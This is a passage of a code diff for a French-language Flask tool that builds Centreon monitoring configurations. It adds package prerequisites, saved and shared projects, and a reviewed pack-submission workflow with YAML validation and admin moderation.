centreon_version: str = "24.x"
|
centreon_version: str = VERSION_PAR_DEFAUT
|
||||||
prefix: str = ""
|
prefix: str = ""
|
||||||
plugins_dir: str = "/usr/lib/centreon/plugins"
|
plugins_dir: str = "/usr/lib/centreon/plugins"
|
||||||
poller: str = "Central"
|
poller: str = "Central"
|
||||||
@@ -169,6 +239,7 @@ class Project:
|
|||||||
service_templates: list[ServiceTemplate] = field(default_factory=list)
|
service_templates: list[ServiceTemplate] = field(default_factory=list)
|
||||||
host_templates: list[HostTemplate] = field(default_factory=list)
|
host_templates: list[HostTemplate] = field(default_factory=list)
|
||||||
hosts: list[Host] = field(default_factory=list)
|
hosts: list[Host] = field(default_factory=list)
|
||||||
|
prerequis: Prerequis = field(default_factory=Prerequis)
|
||||||
schema: int = SCHEMA_VERSION
|
schema: int = SCHEMA_VERSION
|
||||||
|
|
||||||
@property
|
@property
|
||||||
@@ -178,9 +249,10 @@ class Project:
|
|||||||
@classmethod
|
@classmethod
|
||||||
def from_dict(cls, raw: dict[str, Any] | None) -> "Project":
|
def from_dict(cls, raw: dict[str, Any] | None) -> "Project":
|
||||||
raw = raw or {}
|
raw = raw or {}
|
||||||
version = _clean(raw.get("centreon_version")) or "24.x"
|
version = _clean(raw.get("centreon_version")) or VERSION_PAR_DEFAUT
|
||||||
|
version = VERSIONS_HISTORIQUES.get(version, version)
|
||||||
if version not in CENTREON_VERSIONS:
|
if version not in CENTREON_VERSIONS:
|
||||||
version = "24.x"
|
version = VERSION_PAR_DEFAUT
|
||||||
return cls(
|
return cls(
|
||||||
name=_clean(raw.get("name")) or "Nouveau projet",
|
name=_clean(raw.get("name")) or "Nouveau projet",
|
||||||
centreon_version=version,
|
centreon_version=version,
|
||||||
@@ -192,6 +264,7 @@ class Project:
|
|||||||
service_templates=[ServiceTemplate.from_dict(s) for s in raw.get("service_templates") or []],
|
service_templates=[ServiceTemplate.from_dict(s) for s in raw.get("service_templates") or []],
|
||||||
host_templates=[HostTemplate.from_dict(h) for h in raw.get("host_templates") or []],
|
host_templates=[HostTemplate.from_dict(h) for h in raw.get("host_templates") or []],
|
||||||
hosts=[Host.from_dict(h) for h in raw.get("hosts") or []],
|
hosts=[Host.from_dict(h) for h in raw.get("hosts") or []],
|
||||||
|
prerequis=Prerequis.from_dict(raw.get("prerequis")),
|
||||||
)
|
)
|
||||||
|
|
||||||
def to_dict(self) -> dict[str, Any]:
|
def to_dict(self) -> dict[str, Any]:
|
||||||
@@ -214,6 +287,7 @@ class Project:
|
|||||||
add(self.service_templates, other.service_templates, "Modele de service")
|
add(self.service_templates, other.service_templates, "Modele de service")
|
||||||
add(self.host_templates, other.host_templates, "Modele d'hote")
|
add(self.host_templates, other.host_templates, "Modele d'hote")
|
||||||
add(self.hosts, other.hosts, "Hote")
|
add(self.hosts, other.hosts, "Hote")
|
||||||
|
self.prerequis.fusionner(other.prerequis)
|
||||||
return skipped
|
return skipped
|
||||||
|
|
||||||
|
|
||||||
@@ -290,6 +364,10 @@ def validate(project: Project) -> list[dict[str, str]]:
|
|||||||
warn(f"Hote {host.name} : modele d'hote inconnu, {template}")
|
warn(f"Hote {host.name} : modele d'hote inconnu, {template}")
|
||||||
_check_macros(host.macros, f"Hote {host.name}", issues)
|
_check_macros(host.macros, f"Hote {host.name}", issues)
|
||||||
|
|
||||||
|
for paquet in (*project.prerequis.paquets_debian, *project.prerequis.paquets_rhel):
|
||||||
|
if not MOTIF_PAQUET.match(paquet):
|
||||||
|
error(f"Prerequis : nom de paquet invalide, {paquet}")
|
||||||
|
|
||||||
if not project.commands and not project.service_templates and not project.host_templates:
|
if not project.commands and not project.service_templates and not project.host_templates:
|
||||||
warn("Le projet est vide.")
|
warn("Le projet est vide.")
|
||||||
|
|
||||||
|
|||||||
+2
-1
@@ -7,7 +7,7 @@ le projet de l'utilisateur, qui les modifie ensuite librement.
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
from .catalog import Pack
|
from .catalog import Pack
|
||||||
from .model import Command, HostTemplate, Macro, Project, ServiceTemplate
|
from .model import Command, HostTemplate, Macro, Prerequis, Project, ServiceTemplate
|
||||||
|
|
||||||
|
|
||||||
def _macro(macro) -> Macro:
|
def _macro(macro) -> Macro:
|
||||||
@@ -23,6 +23,7 @@ def pack_to_project(pack: Pack, only_defaults: bool = True, service_parent: str
|
|||||||
"""Construit un projet ne contenant que les objets du pack."""
|
"""Construit un projet ne contenant que les objets du pack."""
|
||||||
|
|
||||||
project = Project(name=pack.name)
|
project = Project(name=pack.name)
|
||||||
|
project.prerequis = Prerequis.from_dict(pack.prerequis)
|
||||||
project.commands = []
|
project.commands = []
|
||||||
project.service_templates = []
|
project.service_templates = []
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,350 @@
|
|||||||
|
"""Routes des chantiers 3 a 5 : projets enregistres, partage, soumissions.
|
||||||
|
|
||||||
|
Deux regles traversent tout ce fichier.
|
||||||
|
|
||||||
|
1. Aucun mot de passe ne franchit la porte du stockage. Tout projet ecrit en
|
||||||
|
base — enregistrement, partage, soumission — passe d'abord par
|
||||||
|
strip_secrets. Un site public n'a aucune raison de detenir le mot de passe
|
||||||
|
MySQL de qui que ce soit.
|
||||||
|
2. Rien ne s'execute. Une soumission est du texte, relu par un humain dans une
|
||||||
|
pull request avant d'atteindre le catalogue.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
from datetime import timezone
|
||||||
|
|
||||||
|
import yaml
|
||||||
|
from flask import Blueprint, jsonify, request
|
||||||
|
|
||||||
|
from .auth import administration_requise, connexion_requise, utilisateur_courant
|
||||||
|
from .catalog import CATEGORIES, Pack
|
||||||
|
from .config import Config
|
||||||
|
from .db import (
|
||||||
|
Partage,
|
||||||
|
Projet,
|
||||||
|
Soumission,
|
||||||
|
compter_soumissions_du_jour,
|
||||||
|
db,
|
||||||
|
maintenant,
|
||||||
|
purger_partages_expires,
|
||||||
|
)
|
||||||
|
from .gitea import ErreurGitea, ouvrir_demande
|
||||||
|
from .model import Project, strip_secrets
|
||||||
|
|
||||||
|
bp = Blueprint("donnees", __name__)
|
||||||
|
|
||||||
|
MOTIF_PACK_ID = re.compile(r"^[a-z0-9][a-z0-9-]{2,63}$")
|
||||||
|
|
||||||
|
|
||||||
|
def _projet_sans_secrets(brut: dict) -> Project:
|
||||||
|
return strip_secrets(Project.from_dict(brut))
|
||||||
|
|
||||||
|
|
||||||
|
def _corps() -> dict:
|
||||||
|
return request.get_json(force=True, silent=True) or {}
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
# Chantier 3 — projets enregistres
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
|
||||||
|
@bp.get("/api/projets")
|
||||||
|
@connexion_requise
|
||||||
|
def lister_projets():
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
projets = (
|
||||||
|
db.session.query(Projet)
|
||||||
|
.filter_by(utilisateur_id=utilisateur.id)
|
||||||
|
.order_by(Projet.maj_le.desc())
|
||||||
|
.all()
|
||||||
|
)
|
||||||
|
return jsonify([p.resume() for p in projets])
|
||||||
|
|
||||||
|
|
||||||
|
@bp.post("/api/projets")
|
||||||
|
@connexion_requise
|
||||||
|
def enregistrer_projet():
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
corps = _corps()
|
||||||
|
projet = _projet_sans_secrets(corps.get("project") or {})
|
||||||
|
contenu = json.dumps(projet.to_dict(), ensure_ascii=False)
|
||||||
|
if len(contenu) > Config.TAILLE_MAX_PROJET:
|
||||||
|
return jsonify({"erreur": "projet trop volumineux"}), 413
|
||||||
|
|
||||||
|
identifiant = corps.get("id")
|
||||||
|
if identifiant:
|
||||||
|
enregistrement = db.session.get(Projet, int(identifiant))
|
||||||
|
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
|
||||||
|
return jsonify({"erreur": "projet introuvable"}), 404
|
||||||
|
else:
|
||||||
|
nombre = db.session.query(Projet).filter_by(utilisateur_id=utilisateur.id).count()
|
||||||
|
if nombre >= Config.PROJETS_PAR_COMPTE:
|
||||||
|
return jsonify({"erreur": f"limite de {Config.PROJETS_PAR_COMPTE} projets atteinte"}), 409
|
||||||
|
enregistrement = Projet(utilisateur_id=utilisateur.id)
|
||||||
|
db.session.add(enregistrement)
|
||||||
|
|
||||||
|
enregistrement.nom = projet.name[:255] or "Projet sans nom"
|
||||||
|
enregistrement.contenu = contenu
|
||||||
|
db.session.commit()
|
||||||
|
return jsonify(enregistrement.resume())
|
||||||
|
|
||||||
|
|
||||||
|
@bp.get("/api/projets/<int:identifiant>")
|
||||||
|
@connexion_requise
|
||||||
|
def ouvrir_projet(identifiant: int):
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
enregistrement = db.session.get(Projet, identifiant)
|
||||||
|
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
|
||||||
|
return jsonify({"erreur": "projet introuvable"}), 404
|
||||||
|
return jsonify({"id": enregistrement.id, "project": json.loads(enregistrement.contenu)})
|
||||||
|
|
||||||
|
|
||||||
|
@bp.delete("/api/projets/<int:identifiant>")
|
||||||
|
@connexion_requise
|
||||||
|
def supprimer_projet(identifiant: int):
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
enregistrement = db.session.get(Projet, identifiant)
|
||||||
|
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
|
||||||
|
return jsonify({"erreur": "projet introuvable"}), 404
|
||||||
|
db.session.delete(enregistrement)
|
||||||
|
db.session.commit()
|
||||||
|
return jsonify({"statut": "supprime"})
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
# Chantier 3 — partage par lien
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
|
||||||
|
@bp.post("/api/partages")
|
||||||
|
def creer_partage():
|
||||||
|
if not Config.base_active():
|
||||||
|
return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503
|
||||||
|
|
||||||
|
projet = _projet_sans_secrets(_corps().get("project") or {})
|
||||||
|
contenu = json.dumps(projet.to_dict(), ensure_ascii=False)
|
||||||
|
if len(contenu) > Config.TAILLE_MAX_PROJET:
|
||||||
|
return jsonify({"erreur": "projet trop volumineux"}), 413
|
||||||
|
|
||||||
|
purger_partages_expires()
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
partage = Partage.creer(
|
||||||
|
contenu=contenu,
|
||||||
|
nom=projet.name,
|
||||||
|
jours=Config.PARTAGE_JOURS,
|
||||||
|
utilisateur_id=utilisateur.id if utilisateur else None,
|
||||||
|
)
|
||||||
|
db.session.add(partage)
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
base = Config.URL_PUBLIQUE or request.url_root.rstrip("/")
|
||||||
|
expire = partage.expire_le
|
||||||
|
return jsonify(
|
||||||
|
{
|
||||||
|
"id": partage.id,
|
||||||
|
"url": f"{base}/p/{partage.id}",
|
||||||
|
"expire_le": expire.replace(tzinfo=expire.tzinfo or timezone.utc).isoformat(),
|
||||||
|
"avertissement": "Les macros de type mot de passe ont ete videes avant l'enregistrement.",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@bp.get("/api/partages/<identifiant>")
|
||||||
|
def lire_partage(identifiant: str):
|
||||||
|
if not Config.base_active():
|
||||||
|
return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503
|
||||||
|
partage = db.session.get(Partage, identifiant)
|
||||||
|
if partage is None or partage.expire:
|
||||||
|
return jsonify({"erreur": "ce lien n'existe pas ou a expire"}), 404
|
||||||
|
partage.vues += 1
|
||||||
|
db.session.commit()
|
||||||
|
return jsonify({"project": json.loads(partage.contenu)})
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
# Chantier 5 — soumission de packs
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
|
||||||
|
def valider_pack(texte: str) -> tuple[dict | None, list[str]]:
|
||||||
|
"""Verifie qu'un YAML soumis est un pack exploitable. Ne l'execute jamais."""
|
||||||
|
|
||||||
|
problemes: list[str] = []
|
||||||
|
if len(texte.encode("utf-8")) > Config.TAILLE_MAX_PACK:
|
||||||
|
return None, ["Le fichier depasse la taille autorisee."]
|
||||||
|
|
||||||
|
try:
|
||||||
|
brut = yaml.safe_load(texte)
|
||||||
|
except yaml.YAMLError as erreur:
|
||||||
|
return None, [f"YAML illisible : {erreur}"]
|
||||||
|
|
||||||
|
if not isinstance(brut, dict):
|
||||||
|
return None, ["Le fichier doit contenir un pack, sous forme de dictionnaire."]
|
||||||
|
|
||||||
|
identifiant = str(brut.get("id") or "").strip()
|
||||||
|
if not MOTIF_PACK_ID.match(identifiant):
|
||||||
|
problemes.append(
|
||||||
|
"L'identifiant doit faire 3 a 64 caracteres, en minuscules, chiffres et tirets."
|
||||||
|
)
|
||||||
|
|
||||||
|
categorie = str(brut.get("category") or "").strip()
|
||||||
|
if categorie not in CATEGORIES:
|
||||||
|
problemes.append(f"Categorie inconnue : {categorie or '(vide)'}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
pack = Pack.from_dict(brut)
|
||||||
|
except Exception as erreur: # noqa: BLE001 - message rendu tel quel au contributeur
|
||||||
|
return None, problemes + [f"Structure invalide : {erreur}"]
|
||||||
|
|
||||||
|
if not pack.services:
|
||||||
|
problemes.append("Le pack ne declare aucune sonde.")
|
||||||
|
for service in pack.services:
|
||||||
|
if ";" in service.line:
|
||||||
|
problemes.append(f"Sonde {service.name} : le point-virgule est le separateur CLAPI.")
|
||||||
|
if "$CENTREONPLUGINS$" not in service.line and "$USER1$" not in service.line:
|
||||||
|
problemes.append(
|
||||||
|
f"Sonde {service.name} : la ligne doit commencer par $CENTREONPLUGINS$ ou $USER1$."
|
||||||
|
)
|
||||||
|
|
||||||
|
from .model import MOTIF_PAQUET, Prerequis
|
||||||
|
|
||||||
|
prerequis = Prerequis.from_dict(pack.prerequis)
|
||||||
|
for paquet in (*prerequis.paquets_debian, *prerequis.paquets_rhel):
|
||||||
|
if not MOTIF_PAQUET.match(paquet):
|
||||||
|
problemes.append(f"Prerequis : nom de paquet invalide, {paquet}")
|
||||||
|
|
||||||
|
if problemes:
|
||||||
|
return None, problemes
|
||||||
|
return brut, []
|
||||||
|
|
||||||
|
|
||||||
|
@bp.post("/api/soumissions/verifier")
|
||||||
|
@connexion_requise
|
||||||
|
def verifier_soumission():
|
||||||
|
brut, problemes = valider_pack(str(_corps().get("yaml") or ""))
|
||||||
|
if problemes:
|
||||||
|
return jsonify({"valide": False, "problemes": problemes}), 200
|
||||||
|
pack = Pack.from_dict(brut)
|
||||||
|
return jsonify(
|
||||||
|
{
|
||||||
|
"valide": True,
|
||||||
|
"pack": {
|
||||||
|
"id": pack.id,
|
||||||
|
"nom": pack.name,
|
||||||
|
"categorie": pack.category,
|
||||||
|
"sondes": len(pack.services),
|
||||||
|
"modele_hote": pack.host_template.name,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@bp.post("/api/soumissions")
|
||||||
|
@connexion_requise
|
||||||
|
def soumettre():
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
if compter_soumissions_du_jour(utilisateur.id) >= Config.SOUMISSIONS_PAR_JOUR:
|
||||||
|
return jsonify({"erreur": "limite de soumissions atteinte pour aujourd'hui"}), 429
|
||||||
|
|
||||||
|
corps = _corps()
|
||||||
|
texte = str(corps.get("yaml") or "")
|
||||||
|
brut, problemes = valider_pack(texte)
|
||||||
|
if problemes:
|
||||||
|
return jsonify({"erreur": "pack invalide", "problemes": problemes}), 400
|
||||||
|
|
||||||
|
pack = Pack.from_dict(brut)
|
||||||
|
soumission = Soumission(
|
||||||
|
utilisateur_id=utilisateur.id,
|
||||||
|
pack_id=pack.id,
|
||||||
|
categorie=pack.category,
|
||||||
|
nom=pack.name,
|
||||||
|
contenu=texte,
|
||||||
|
message=str(corps.get("message") or "")[:2000],
|
||||||
|
)
|
||||||
|
db.session.add(soumission)
|
||||||
|
db.session.commit()
|
||||||
|
return jsonify(soumission.resume())
|
||||||
|
|
||||||
|
|
||||||
|
@bp.get("/api/soumissions")
|
||||||
|
@connexion_requise
|
||||||
|
def mes_soumissions():
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
soumissions = (
|
||||||
|
db.session.query(Soumission)
|
||||||
|
.filter_by(utilisateur_id=utilisateur.id)
|
||||||
|
.order_by(Soumission.cree_le.desc())
|
||||||
|
.limit(50)
|
||||||
|
.all()
|
||||||
|
)
|
||||||
|
return jsonify([s.resume() for s in soumissions])
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
# Chantier 5 — moderation
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
|
||||||
|
@bp.get("/api/moderation/soumissions")
|
||||||
|
@administration_requise
|
||||||
|
def moderation_lister():
|
||||||
|
statut = request.args.get("statut", Soumission.EN_ATTENTE)
|
||||||
|
requete = db.session.query(Soumission).order_by(Soumission.cree_le.asc())
|
||||||
|
if statut != "toutes":
|
||||||
|
requete = requete.filter_by(statut=statut)
|
||||||
|
return jsonify([s.resume(avec_auteur=True) for s in requete.limit(200).all()])
|
||||||
|
|
||||||
|
|
||||||
|
@bp.get("/api/moderation/soumissions/<int:identifiant>")
|
||||||
|
@administration_requise
|
||||||
|
def moderation_detail(identifiant: int):
|
||||||
|
soumission = db.session.get(Soumission, identifiant)
|
||||||
|
if soumission is None:
|
||||||
|
return jsonify({"erreur": "soumission introuvable"}), 404
|
||||||
|
donnees = soumission.resume(avec_auteur=True)
|
||||||
|
donnees["contenu"] = soumission.contenu
|
||||||
|
return jsonify(donnees)
|
||||||
|
|
||||||
|
|
||||||
|
@bp.post("/api/moderation/soumissions/<int:identifiant>/publier")
|
||||||
|
@administration_requise
|
||||||
|
def moderation_publier(identifiant: int):
|
||||||
|
soumission = db.session.get(Soumission, identifiant)
|
||||||
|
if soumission is None:
|
||||||
|
return jsonify({"erreur": "soumission introuvable"}), 404
|
||||||
|
if soumission.statut != Soumission.EN_ATTENTE:
|
||||||
|
return jsonify({"erreur": "soumission deja traitee"}), 409
|
||||||
|
if not Config.gitea_actif():
|
||||||
|
return jsonify({"erreur": "publication Gitea non configuree"}), 503
|
||||||
|
|
||||||
|
# Revalidation au moment de publier : le contenu a pu etre juge valide il y
|
||||||
|
# a trois semaines, sous une version anterieure des regles.
|
||||||
|
_, problemes = valider_pack(soumission.contenu)
|
||||||
|
if problemes:
|
||||||
|
return jsonify({"erreur": "le pack n'est plus valide", "problemes": problemes}), 400
|
||||||
|
|
||||||
|
try:
|
||||||
|
url = ouvrir_demande(soumission, soumission.auteur.affichage if soumission.auteur else "inconnu")
|
||||||
|
except ErreurGitea as erreur:
|
||||||
|
return jsonify({"erreur": str(erreur)}), 502
|
||||||
|
|
||||||
|
soumission.statut = Soumission.PUBLIEE
|
||||||
|
soumission.url_pr = url
|
||||||
|
soumission.traite_le = maintenant()
|
||||||
|
db.session.commit()
|
||||||
|
return jsonify(soumission.resume(avec_auteur=True))
|
||||||
|
|
||||||
|
|
||||||
|
@bp.post("/api/moderation/soumissions/<int:identifiant>/refuser")
|
||||||
|
@administration_requise
|
||||||
|
def moderation_refuser(identifiant: int):
|
||||||
|
soumission = db.session.get(Soumission, identifiant)
|
||||||
|
if soumission is None:
|
||||||
|
return jsonify({"erreur": "soumission introuvable"}), 404
|
||||||
|
if soumission.statut != Soumission.EN_ATTENTE:
|
||||||
|
return jsonify({"erreur": "soumission deja traitee"}), 409
|
||||||
|
soumission.statut = Soumission.REFUSEE
|
||||||
|
soumission.reponse = str(_corps().get("motif") or "")[:2000]
|
||||||
|
soumission.traite_le = maintenant()
|
||||||
|
db.session.commit()
|
||||||
|
return jsonify(soumission.resume(avec_auteur=True))
|
||||||
+215
-2
@@ -16,7 +16,7 @@ var packsCache = null;
|
|||||||
function projetVide() {
|
function projetVide() {
|
||||||
return {
|
return {
|
||||||
name: 'Nouveau projet',
|
name: 'Nouveau projet',
|
||||||
centreon_version: '24.x',
|
centreon_version: '25.10',
|
||||||
prefix: '',
|
prefix: '',
|
||||||
plugins_dir: '/usr/lib/centreon/plugins',
|
plugins_dir: '/usr/lib/centreon/plugins',
|
||||||
poller: 'Central',
|
poller: 'Central',
|
||||||
@@ -24,7 +24,8 @@ function projetVide() {
|
|||||||
commands: [],
|
commands: [],
|
||||||
service_templates: [],
|
service_templates: [],
|
||||||
host_templates: [],
|
host_templates: [],
|
||||||
hosts: []
|
hosts: [],
|
||||||
|
prerequis: { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' }
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -201,6 +202,16 @@ function rendreReglages(main) {
|
|||||||
main.appendChild(grille);
|
main.appendChild(grille);
|
||||||
main.appendChild(caseACocher("Ajouter APPLYCFG a la fin des scripts", projet, 'apply_config'));
|
main.appendChild(caseACocher("Ajouter APPLYCFG a la fin des scripts", projet, 'apply_config'));
|
||||||
|
|
||||||
|
main.appendChild(sousTitre('Prerequis des sondes',
|
||||||
|
"Ce qui doit etre installe sur le collecteur ; genere un fichier distinct du CLAPI."));
|
||||||
|
var pre = elt('div', { className: 'prerequis' });
|
||||||
|
if (!projet.prerequis) projet.prerequis = { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' };
|
||||||
|
pre.appendChild(champListe('Paquets Debian et Ubuntu', projet.prerequis, 'paquets_debian'));
|
||||||
|
pre.appendChild(champListe('Paquets RHEL, Alma, Rocky', projet.prerequis, 'paquets_rhel'));
|
||||||
|
main.appendChild(pre);
|
||||||
|
main.appendChild(champZone('Notes a l\'attention de l\'installateur', projet.prerequis, 'notes'));
|
||||||
|
main.appendChild(champListe('Commandes de verification', projet.prerequis, 'verifications'));
|
||||||
|
|
||||||
var info = elt('div', { className: 'notice' });
|
var info = elt('div', { className: 'notice' });
|
||||||
info.appendChild(elt('p', {
|
info.appendChild(elt('p', {
|
||||||
textContent: 'Le projet est conserve dans ce navigateur uniquement. Rien n\u2019est envoye au serveur ' +
|
textContent: 'Le projet est conserve dans ce navigateur uniquement. Rien n\u2019est envoye au serveur ' +
|
||||||
@@ -742,3 +753,205 @@ document.addEventListener('keydown', function (e) {
|
|||||||
});
|
});
|
||||||
|
|
||||||
rendre();
|
rendre();
|
||||||
|
|
||||||
|
// ==========================================================================
|
||||||
|
// Chantiers 3 a 5 : partage, projets enregistres, soumission de packs.
|
||||||
|
// Tout ce bloc est inerte si le serveur n'annonce pas la fonctionnalite.
|
||||||
|
// ==========================================================================
|
||||||
|
|
||||||
|
var CONTEXTE = (function () {
|
||||||
|
var noeud = document.getElementById('donnees-contexte');
|
||||||
|
try { return noeud ? JSON.parse(noeud.textContent) : {}; } catch (e) { return {}; }
|
||||||
|
})();
|
||||||
|
var FONCTIONS = CONTEXTE.fonctions || {};
|
||||||
|
|
||||||
|
function appelJSON(url, options) {
|
||||||
|
options = options || {};
|
||||||
|
options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {});
|
||||||
|
return fetch(url, options).then(function (reponse) {
|
||||||
|
return reponse.json().catch(function () { return {}; }).then(function (corps) {
|
||||||
|
if (!reponse.ok) throw new Error(corps.erreur || 'echec de la requete');
|
||||||
|
return corps;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function brancher(id, action) {
|
||||||
|
var bouton = document.getElementById(id);
|
||||||
|
if (bouton) bouton.addEventListener('click', action);
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------------------------------------------------------- partage
|
||||||
|
|
||||||
|
brancher('btn-partager', function () {
|
||||||
|
appelJSON('/api/partages', { method: 'POST', body: JSON.stringify({ project: projet }) })
|
||||||
|
.then(function (donnees) {
|
||||||
|
ouvrirModale('Lien de partage', function (corps) {
|
||||||
|
corps.appendChild(elt('p', {
|
||||||
|
className: 'lede',
|
||||||
|
textContent: 'Toute personne disposant de ce lien peut ouvrir une copie de ce projet. ' +
|
||||||
|
donnees.avertissement
|
||||||
|
}));
|
||||||
|
var champ = elt('input', { type: 'text', value: donnees.url, readOnly: true });
|
||||||
|
corps.appendChild(champ);
|
||||||
|
champ.focus(); champ.select();
|
||||||
|
var barre = elt('div', { className: 'barre' });
|
||||||
|
barre.appendChild(elt('button', {
|
||||||
|
type: 'button', textContent: 'Copier le lien',
|
||||||
|
onclick: function () {
|
||||||
|
champ.select();
|
||||||
|
if (navigator.clipboard) navigator.clipboard.writeText(donnees.url);
|
||||||
|
else document.execCommand('copy');
|
||||||
|
etat('Lien copie');
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
corps.appendChild(barre);
|
||||||
|
corps.appendChild(elt('small', { textContent: 'Ce lien expire le ' + (donnees.expire_le || '').slice(0, 10) + '.' }));
|
||||||
|
});
|
||||||
|
})
|
||||||
|
.catch(function (erreur) { alert('Partage impossible : ' + erreur.message); });
|
||||||
|
});
|
||||||
|
|
||||||
|
// Ouverture d'un projet partage : la page /p/<id> passe l'identifiant.
|
||||||
|
if (CONTEXTE.partage) {
|
||||||
|
appelJSON('/api/partages/' + encodeURIComponent(CONTEXTE.partage))
|
||||||
|
.then(function (donnees) {
|
||||||
|
var vide = projetVide();
|
||||||
|
Object.keys(vide).forEach(function (k) {
|
||||||
|
if (donnees.project[k] === undefined) donnees.project[k] = vide[k];
|
||||||
|
});
|
||||||
|
projet = donnees.project;
|
||||||
|
selection = { type: 'reglages', index: 0 };
|
||||||
|
sauver(); rendre();
|
||||||
|
etat('Projet partage ouvert');
|
||||||
|
})
|
||||||
|
.catch(function () { alert("Ce lien de partage n'existe pas ou a expire."); });
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----------------------------------------------------- projets en ligne
|
||||||
|
|
||||||
|
brancher('btn-serveur-enregistrer', function () {
|
||||||
|
appelJSON('/api/projets', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ project: projet, id: projet.__id_serveur || null })
|
||||||
|
}).then(function (donnees) {
|
||||||
|
projet.__id_serveur = donnees.id;
|
||||||
|
sauver();
|
||||||
|
etat('Projet enregistre en ligne');
|
||||||
|
}).catch(function (erreur) { alert('Enregistrement impossible : ' + erreur.message); });
|
||||||
|
});
|
||||||
|
|
||||||
|
brancher('btn-serveur-ouvrir', function () {
|
||||||
|
appelJSON('/api/projets').then(function (projets) {
|
||||||
|
ouvrirModale('Mes projets', function (corps) {
|
||||||
|
if (!projets.length) {
|
||||||
|
corps.appendChild(elt('p', { className: 'lede', textContent: 'Aucun projet enregistre pour le moment.' }));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var liste = elt('div', { className: 'packs' });
|
||||||
|
projets.forEach(function (entree) {
|
||||||
|
var ligne = elt('div', { className: 'pack-ligne' });
|
||||||
|
var texte = elt('div');
|
||||||
|
texte.appendChild(elt('b', { textContent: entree.nom }));
|
||||||
|
texte.appendChild(elt('div', {
|
||||||
|
className: 'desc',
|
||||||
|
textContent: 'modifie le ' + (entree.maj_le || '').slice(0, 16).replace('T', ' a ')
|
||||||
|
}));
|
||||||
|
ligne.appendChild(texte);
|
||||||
|
var actions = elt('div', { className: 'barre' });
|
||||||
|
actions.appendChild(elt('button', {
|
||||||
|
type: 'button', className: 'small', textContent: 'Ouvrir',
|
||||||
|
onclick: function () {
|
||||||
|
appelJSON('/api/projets/' + entree.id).then(function (donnees) {
|
||||||
|
projet = donnees.project;
|
||||||
|
projet.__id_serveur = donnees.id;
|
||||||
|
selection = { type: 'reglages', index: 0 };
|
||||||
|
fermerModale(); sauver(); rendre();
|
||||||
|
etat('Projet ouvert');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
actions.appendChild(elt('button', {
|
||||||
|
type: 'button', className: 'small danger', textContent: 'Supprimer',
|
||||||
|
onclick: function () {
|
||||||
|
if (!confirm('Supprimer ' + entree.nom + ' ?')) return;
|
||||||
|
appelJSON('/api/projets/' + entree.id, { method: 'DELETE' }).then(function () {
|
||||||
|
ligne.remove(); etat('Projet supprime');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
ligne.appendChild(actions);
|
||||||
|
liste.appendChild(ligne);
|
||||||
|
});
|
||||||
|
corps.appendChild(liste);
|
||||||
|
});
|
||||||
|
}).catch(function (erreur) { alert('Lecture impossible : ' + erreur.message); });
|
||||||
|
});
|
||||||
|
|
||||||
|
brancher('btn-deconnexion', function () {
|
||||||
|
fetch('/deconnexion', { method: 'POST' }).then(function () { window.location.reload(); });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ------------------------------------------------------ soumission de pack
|
||||||
|
|
||||||
|
brancher('btn-soumettre', function () {
|
||||||
|
ouvrirModale('Proposer un pack au catalogue', function (corps) {
|
||||||
|
corps.appendChild(elt('p', {
|
||||||
|
className: 'lede',
|
||||||
|
textContent: "Collez le YAML de votre pack. Il sera verifie ici, puis relu dans une " +
|
||||||
|
'demande de fusion avant d\u2019entrer au catalogue. Rien n\u2019est execute par le site.'
|
||||||
|
}));
|
||||||
|
|
||||||
|
var zone = elt('textarea', { rows: 16, placeholder: 'id: app-rabbitmq\nname: RabbitMQ\ncategory: application\n...' });
|
||||||
|
corps.appendChild(zone);
|
||||||
|
|
||||||
|
var mot = elt('input', { type: 'text', placeholder: 'Un mot pour le relecteur (facultatif)' });
|
||||||
|
corps.appendChild(mot);
|
||||||
|
|
||||||
|
var retour = elt('div');
|
||||||
|
corps.appendChild(retour);
|
||||||
|
|
||||||
|
